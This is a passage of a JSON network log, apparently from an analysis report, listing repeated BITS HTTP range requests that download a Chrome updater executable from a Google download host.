  1430. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1431. "user-agent": "Microsoft BITS/7.5",
  1432. "method": "GET",
  1433. "host": "r5---sn-tt1eln7l.gvt1.com",
  1434. "version": "1.1",
  1435. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1436. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=6406582-7048190\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1437. "port": 80
  1438. },
  1439. {
  1440. "count": 1,
  1441. "body": "",
  1442. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1443. "user-agent": "Microsoft BITS/7.5",
  1444. "method": "GET",
  1445. "host": "r5---sn-tt1eln7l.gvt1.com",
  1446. "version": "1.1",
  1447. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1448. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=7048191-7759476\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1449. "port": 80
  1450. },
  1451. {
  1452. "count": 1,
  1453. "body": "",
  1454. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1455. "user-agent": "Microsoft BITS/7.5",
  1456. "method": "GET",
  1457. "host": "r5---sn-tt1eln7l.gvt1.com",
  1458. "version": "1.1",
  1459. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1460. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=7759477-8607351\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1461. "port": 80
  1462. },
  1463. {
  1464. "count": 1,
  1465. "body": "",
  1466. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1467. "user-agent": "Microsoft BITS/7.5",
  1468. "method": "GET",
  1469. "host": "r5---sn-tt1eln7l.gvt1.com",
  1470. "version": "1.1",
  1471. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1472. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=8607352-9566345\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1473. "port": 80
  1474. },
  1475. {
  1476. "count": 1,
  1477. "body": "",
  1478. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1479. "user-agent": "Microsoft BITS/7.5",
  1480. "method": "GET",
  1481. "host": "r5---sn-tt1eln7l.gvt1.com",
  1482. "version": "1.1",
  1483. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1484. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=9566346-10734873\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1485. "port": 80
  1486. },
  1487. {
  1488. "count": 1,
  1489. "body": "",
  1490. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1491. "user-agent": "Microsoft BITS/7.5",
  1492. "method": "GET",
  1493. "host": "r5---sn-tt1eln7l.gvt1.com",
  1494. "version": "1.1",
  1495. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1496. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=10734874-12075942\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1497. "port": 80
  1498. },
  1499. {
  1500. "count": 1,
  1501. "body": "",
  1502. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1503. "user-agent": "Microsoft BITS/7.5",
  1504. "method": "GET",
  1505. "host": "r5---sn-tt1eln7l.gvt1.com",
  1506. "version": "1.1",
  1507. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1508. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=12075943-13504253\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1509. "port": 80
  1510. },
  1511. {
  1512. "count": 1,
  1513. "body": "",
  1514. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1515. "user-agent": "Microsoft BITS/7.5",
  1516. "method": "GET",
  1517. "host": "r5---sn-tt1eln7l.gvt1.com",
  1518. "version": "1.1",
  1519. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1520. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=13504254-15127911\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1521. "port": 80
  1522. },
  1523. {
  1524. "count": 1,
  1525. "body": "",
  1526. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1527. "user-agent": "Microsoft BITS/7.5",
  1528. "method": "GET",
  1529. "host": "r5---sn-tt1eln7l.gvt1.com",
  1530. "version": "1.1",
  1531. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1532. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=15127912-16962083\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1533. "port": 80
  1534. },
  1535. {
  1536. "count": 1,
  1537. "body": "",
  1538. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1539. "user-agent": "Microsoft BITS/7.5",
  1540. "method": "GET",
  1541. "host": "r5---sn-tt1eln7l.gvt1.com",
  1542. "version": "1.1",
  1543. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1544. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=16962084-18917901\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1545. "port": 80
  1546. },
  1547. {
  1548. "count": 1,
  1549. "body": "",
  1550. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1551. "user-agent": "Microsoft BITS/7.5",
  1552. "method": "GET",
  1553. "host": "r5---sn-tt1eln7l.gvt1.com",
  1554. "version": "1.1",
  1555. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1556. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=18917902-20994014\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1557. "port": 80
  1558. },
  1559. {
  1560. "count": 1,
  1561. "body": "",
  1562. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1563. "user-agent": "Microsoft BITS/7.5",
  1564. "method": "GET",
  1565. "host": "r5---sn-tt1eln7l.gvt1.com",
  1566. "version": "1.1",
  1567. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1568. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=20994015-22306660\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1569. "port": 80
  1570. },
  1571. {
  1572. "count": 1,
  1573. "body": "",
  1574. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1575. "user-agent": "Microsoft BITS/7.5",
  1576. "method": "GET",
  1577. "host": "r5---sn-tt1eln7l.gvt1.com",
  1578. "version": "1.1",
  1579. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1580. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=22306661-24579704\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1581. "port": 80
  1582. },
  1583. {
  1584. "count": 1,
  1585. "body": "",
  1586. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1587. "user-agent": "Microsoft BITS/7.5",
  1588. "method": "GET",
  1589. "host": "r5---sn-tt1eln7l.gvt1.com",
  1590. "version": "1.1",
  1591. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1592. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=24579705-26673109\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1593. "port": 80
  1594. },
  1595. {
  1596. "count": 1,
  1597. "body": "",
  1598. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1599. "user-agent": "Microsoft BITS/7.5",
  1600. "method": "GET",
  1601. "host": "r5---sn-tt1eln7l.gvt1.com",
  1602. "version": "1.1",
  1603. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1604. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=26673110-28077260\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1605. "port": 80
  1606. },
  1607. {
  1608. "count": 1,
  1609. "body": "",
  1610. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1611. "user-agent": "Microsoft BITS/7.5",
  1612. "method": "GET",
  1613. "host": "r5---sn-tt1eln7l.gvt1.com",
  1614. "version": "1.1",
  1615. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1616. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=28077261-29438300\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1617. "port": 80
  1618. },
  1619. {
  1620. "count": 1,
  1621. "body": "",
  1622. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1623. "user-agent": "Microsoft BITS/7.5",
  1624. "method": "GET",
  1625. "host": "r5---sn-tt1eln7l.gvt1.com",
  1626. "version": "1.1",
  1627. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1628. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=29438301-31338750\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1629. "port": 80
  1630. },
  1631. {
  1632. "count": 1,
  1633. "body": "",
  1634. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1635. "user-agent": "Microsoft BITS/7.5",
  1636. "method": "GET",
  1637. "host": "r5---sn-tt1eln7l.gvt1.com",
  1638. "version": "1.1",
  1639. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1640. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=31338751-33352350\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1641. "port": 80
  1642. },
  1643. {
  1644. "count": 1,
  1645. "body": "",
